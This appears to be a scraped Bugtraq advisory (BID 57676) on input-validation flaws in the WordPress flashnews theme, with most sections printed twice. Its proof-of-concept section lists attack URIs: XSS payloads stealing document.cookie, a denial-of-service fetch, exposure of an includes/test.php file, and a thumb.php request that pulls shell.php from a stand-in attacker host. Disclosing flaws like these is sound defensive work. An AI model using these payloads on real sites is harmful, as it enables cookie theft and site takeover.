WordPress flashnews Theme Multiple Input Validation Vulnerabilities
BID:57676
Info
WordPress flashnews Theme Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 57676 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 02 2013 12:00AM |
| Updated: | Feb 02 2013 12:00AM |
| Credit: | MustLive |
| Vulnerable: |
WooThemes flashnews 0 |
| Not Vulnerable: | |
Discussion
WordPress flashnews Theme Multiple Input Validation Vulnerabilities
The flashnews Theme for WordPress is prone to multiple input-validation vulnerabilities.
An attacker may leverage these issues to cause denial-of-service conditions, disclose sensitive information, upload arbitrary files to the affected computer, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
The flashnews Theme for WordPress is prone to multiple input-validation vulnerabilities.
An attacker may leverage these issues to cause denial-of-service conditions, disclose sensitive information, upload arbitrary files to the affected computer, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Exploit / POC
WordPress flashnews Theme Multiple Input Validation Vulnerabilities
To exploit these issues, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/wp-content/themes/flashnews/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg [XSS]
http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site/big_file&h=1&w=1
http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1
http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badsite.com/shell.php
http://www.example.com/wp-content/themes/flashnews/includes/test.php
http://www.example.com/wp-content/themes/flashnews/includes/test.php?a[]=%3Cscript%3Ealert(document.cookie)%3C/script%3E [XSS]
To exploit these issues, an attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
http://www.example.com/wp-content/themes/flashnews/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg [XSS]
http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site/big_file&h=1&w=1
http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1
http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badsite.com/shell.php
http://www.example.com/wp-content/themes/flashnews/includes/test.php
http://www.example.com/wp-content/themes/flashnews/includes/test.php?a[]=%3Cscript%3Ealert(document.cookie)%3C/script%3E [XSS]
Solution / Fix
WordPress flashnews Theme Multiple Input Validation Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
WordPress flashnews Theme Multiple Input Validation Vulnerabilities
References:
References:
- Flash News Theme Homepage (WooThemes)
- Multiple vulnerabilities in Flash News theme for WordPress (MustLive)
- WordPress Homepage (WordPress)